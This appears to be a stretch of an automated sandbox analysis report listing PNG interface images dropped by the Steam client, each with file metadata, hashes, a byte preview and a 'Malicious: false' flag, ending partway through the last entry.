Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_forward.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3549
Entropy (8bit):	7.892390308619272
Encrypted:	false
SSDEEP:	96:4SDZ/I09Da01l+gmkyTt6Hk8nTmGX0t2Ox0C2h:4SDS0tKg9E05Tm7Icw
MD5:	2F1F5851DD3D21A6AAE07BECD00F98F6
SHA1:	8D28D4AC40EC4384A817813274C6BA76510158BC
SHA-256:	6B5243DD2BD61732D5AE7113AD0285723B940A071D73F8C27AA95EE5D001643F
SHA-512:	E46AD1CF3DE561256CDD727AF8087AE579DDBBABF790569D23BABDB50D543DAA60546D7FDDBC352D6483998F1623FCC0C3BFC90E1BD7F1BE4063974F7011F425
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_forward_mouse.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3276
Entropy (8bit):	7.885519167573725
Encrypted:	false
SSDEEP:	96:4SDZ/I09Da01l+gmkyTt6Hk8nTtI16Iuk1T:4SDS0tKg9E05TtZIuS
MD5:	FD256C293F5F2E9A91B56C731F549F96
SHA1:	896182BF3A92166789DCB42DC1D0A265DCCA07E6
SHA-256:	D5EBC273E8FFFD20236CD403C5D85A5F4777E25230D1FD165BD7E11E13A70803
SHA-512:	D17C216A05A9303D9099DCA80CF2C01EDF4993978BAA19587502B8318DD2D41E12CB59145166FD1A5A24858602572C15F8D546DA03DCA43D9DC14C0F347A862C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_home.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3371
Entropy (8bit):	7.889039785600004
Encrypted:	false
SSDEEP:	96:4SDZ/I09Da01l+gmkyTt6Hk8nTqLUBiFhPUkC:4SDS0tKg9E05TqLm+HC
MD5:	4281BF7EA33375BFE3CF19ACF16836D4
SHA1:	FB4F94DD3BE9C492C2F4D001B57A5B795EC3AA2D
SHA-256:	E2B6A03C538D9B55318279F6C7DCE8F1494D5793D73EFAD3860314EE911661C2
SHA-512:	C4BDF2F2248FCEBFDA743A6C94007E8A280E7EBB03B909D4C22F3406D2B067256B3CEE0AA137230C66525D6BB9603711A7CBECAB6D80AD8804DCD450CDFD99FB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_home_mouse.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3182
Entropy (8bit):	7.881981441299765
Encrypted:	false
SSDEEP:	48:4/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODZroHEvZc:4SDZ/I09Da01l+gmkyTt6Hk8nT5oHE6
MD5:	8FCB7E2D5484434E8D787099DEE5D2C0
SHA1:	5CFC8E681B0C5308AE0744B6E23283661BEBDAF6
SHA-256:	0E2FBFDE784141CF015F94637E2A4446F3BF35AC56918E72E51BAFB8D6F446E8
SHA-512:	FD9A446F1959B8B6A25F0AA0E98ED876330240A5DC2AADE3DE95F4C077895095FF637993B3B8002A23F2B87DC6926E3B8D8D5BEC48123265425E55336E1FBC41
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_insecure.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3393
Entropy (8bit):	7.882536929694141
Encrypted:	false
SSDEEP:	96:QSDZ/I09Da01l+gmkyTt6Hk8nTwo6cWql:QSDS0tKg9E05TwmWql
MD5:	A6EE7EC640F09A0DE0A946FBFD263232
SHA1:	B7454F902DCA8DB69C50454FC25C95BEFA11F092
SHA-256:	442AEC63A02E04F5582180D3C08DCB581BB238B94D82B1A62743331AB5DC5679
SHA-512:	9552665882A4F6103CA68A5D82F254B883398C455901936CB9111C61D4F59A614DC89A9DF5E0912A584768FEA775FCDC3FB55CE37633DC014775602733A8302D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@... .......~.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_ltab.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3009
Entropy (8bit):	7.865273418390428
Encrypted:	false
SSDEEP:	48:4/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODWQwEfG:4SDZ/I09Da01l+gmkyTt6Hk8nT7+
MD5:	A251F1E24D90321F935EEE23787404DA
SHA1:	CAC6E7F41C5651F32F718EDA8398296B021BA6C3
SHA-256:	7DFC4CF0757890B49A44595136D509C5219AF7BE8125CC3CB5C0ED6116A23E95
SHA-512:	D6D566D97DD005DD3B6D6039FB200888F2C74395CA1C9ED752CB6EE63AD35754A0896E3F58EFD107B82FD99A923BDF022485CD19F3444C5E562DC2267626FEF3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	336298
Entropy (8bit):	7.885865574990073
Encrypted:	false
SSDEEP:	6144:Sv9GTmevk4nnoga3Qy+Fvm49rFNY/LP07ZMObXGgUHWvW9:Jme/nogagyUNZRbFUyI
MD5:	85F3021536E021FFFF526E540C780659
SHA1:	34E88D0427B6A35BB0D73356E032359864831F30
SHA-256:	8532900845EB69559C5F719FA15ABE439AF6D43DC83413DD86E73F7C8070F288
SHA-512:	DC6D0577AB3638AB667EC66B9D3CA6E3D371F17B596D042ADDCCCE83FA6B6069C4CF252D8AB5888E44828786497B8BFFDD60991ECF2087491550B0019C7B5C82
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......8........C....sRGB.........pHYs.................tIME.....'-..w.....tEXtFile Name.browser_mask.tgaz.....<"iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/">. <xmp:CreatorTool>Adobe Photoshop CS5 Windows</xmp:CreatorTool>. <xmp:CreateDate>2012-08-14T11:20:27-07:00</xmp:CreateDate>. <xmp:ModifyDate>2012-09-07T16:39:43-07:00</xmp:ModifyDate>. <xmp:MetadataDate>2012-09-07T16:39:43-07:00</xmp:MetadataDate>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/">. <dc:format>image/png</dc:format>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:phot

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_mousepan.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 99 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8676
Entropy (8bit):	7.949840708221788
Encrypted:	false
SSDEEP:	192:MSDS0tKg9E05T92d1x7/9PwSfNfOFGUjbkO+JrilP:LJXE05od1x7/9PwINfcv3+JruP
MD5:	2CBDB35737913DC9F2973D7ED20DA044
SHA1:	C325C331E236694A53323AB7E64573C7BF841D9F
SHA-256:	0A9817C1AB46021228B8D70D16E40475DC5B3AF449FB2D722FC18686EEA59E8B
SHA-512:	C2A83A07D0B11EC8D50B1358AA3745AD208D04FFCEE402B733014899AEB55AF222B7EFF3D1ACED92CD70DFFC088D98A1AEB5BE8FB804E58CF73A8590E8FAE890
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...c...c......;......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_reload.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3553
Entropy (8bit):	7.896664094924432
Encrypted:	false
SSDEEP:	48:Q/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODleUldLRx3:QSDZ/I09Da01l+gmkyTt6Hk8nTLxcdI
MD5:	EFFE37C009892FF85CCA94A06FED5E30
SHA1:	2709E29585C7135529467EB0D716BE0970A28CC8
SHA-256:	7149EDC7CFF1A9E1562178886F60D4647B9576CBB094D3816E9953A15157B016
SHA-512:	B2FE4E75800D35004B552079753304AD369D929852BDE0C8F9447F4D0C30A8940B4DAAB4F60B9DCD2E92B05782BE1BE990560581EDEFF3EB0244610F041A2FFB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@... .......~.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_reticule_middle.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7771
Entropy (8bit):	7.959293314311673
Encrypted:	false
SSDEEP:	192:4SDS0tKg9E05Temgw8IZsFZQNhQdZGFRwt:/JXE05XgRIQQIZASt
MD5:	AD9B40CA2A2E76BFDCB7FF144D660436
SHA1:	62C41FC52E7541F9A68EADC282F3971FF9AF8C6F
SHA-256:	28D5CFD227EF7C1B5CCE08CE2FFC39C66257F65DFA5609BCB687EA21608A1D80
SHA-512:	CB8384A3ED0FBF75B23DFD4DE8F5C5B654D9C6B8696F0B3B458DF8334D6124CD971E238BE41A91B595F74112E18E83D79438D90F3BF6DF1B47F14E219A06CDA9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...B......T......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_reticule_outer.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 426 x 426, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	32135
Entropy (8bit):	7.918399787055949
Encrypted:	false
SSDEEP:	768:X35zdz9Ciz+VVJS92fmZ6ipSxNoEgz+02z8loDbM:DQ7SkMtpINcj24l+M
MD5:	AD8B4A1344A5596A271FFD90A6F4EE72
SHA1:	3673886DE862E13714377B74ECB50A861C38B394
SHA-256:	8871DB7B01B43582D16D86E9AA410FC5D1FA9D3C2544D93D0AC7856D878A1236
SHA-512:	795099C2BE8DFADCBB4B3FEDB459AD7E383C5B9D86B9649595C7F34B5871B5BC5A4FEF62C8FDEEDFCFF33325E99DAD03B5472E83A2C653A057B16C2AD834B03C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Z.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_rtab.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.868701305223628
Encrypted:	false
SSDEEP:	48:4/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcOD10kvtbSY3:4SDZ/I09Da01l+gmkyTt6Hk8nTek1elg
MD5:	D48006D80674AAD33FB67298BB35167B
SHA1:	9719067C33C81291D7F4F846941AE9A84EAD297D
SHA-256:	62DF030BBDA6DFD8825EDC88308F5287CB7809EC7459D37E44461CF20D3E0336
SHA-512:	26B3EAC9F04E1665E00B52A062091895DA467B29820508614D4E87B4567D23D8AA898C74CE2C030A56BA7A16B646B0EE040492E19D5E8AE16242EB8F8B261E98
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_secure.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3344
Entropy (8bit):	7.887415254152899
Encrypted:	false
SSDEEP:	96:QSDZ/I09Da01l+gmkyTt6Hk8nT3D71XKh7:QSDS0tKg9E05T3D71ah7
MD5:	F858240D907E5A13B53648F9B46C81D0
SHA1:	7C2BFE987C186ABA00EFC5C17CD9AF2046C46D24
SHA-256:	F51A9EDCD8339A6D18C66327E5D084C622BEA6982D55EC1EB136A531123E1DB2
SHA-512:	F9FAB8D5A4E3B99D6A5D461BE733801BA9C6A0DB9C198055DA0097E64C30F2D61E57E1CB3457530ED9943F26460517251D8553FE1B29AB8A5C5065C46A4AE31A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@... .......~.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\defaultfav.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 553 x 363, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	137374
Entropy (8bit):	7.9950612039731395
Encrypted:	true
SSDEEP:	3072:oc7E4JdCZD4Ys9OPJ384Y18DiTY3p5beAi6a7eYQMxy:oc7vJdCZD4TOZ84YHi5G7fQn
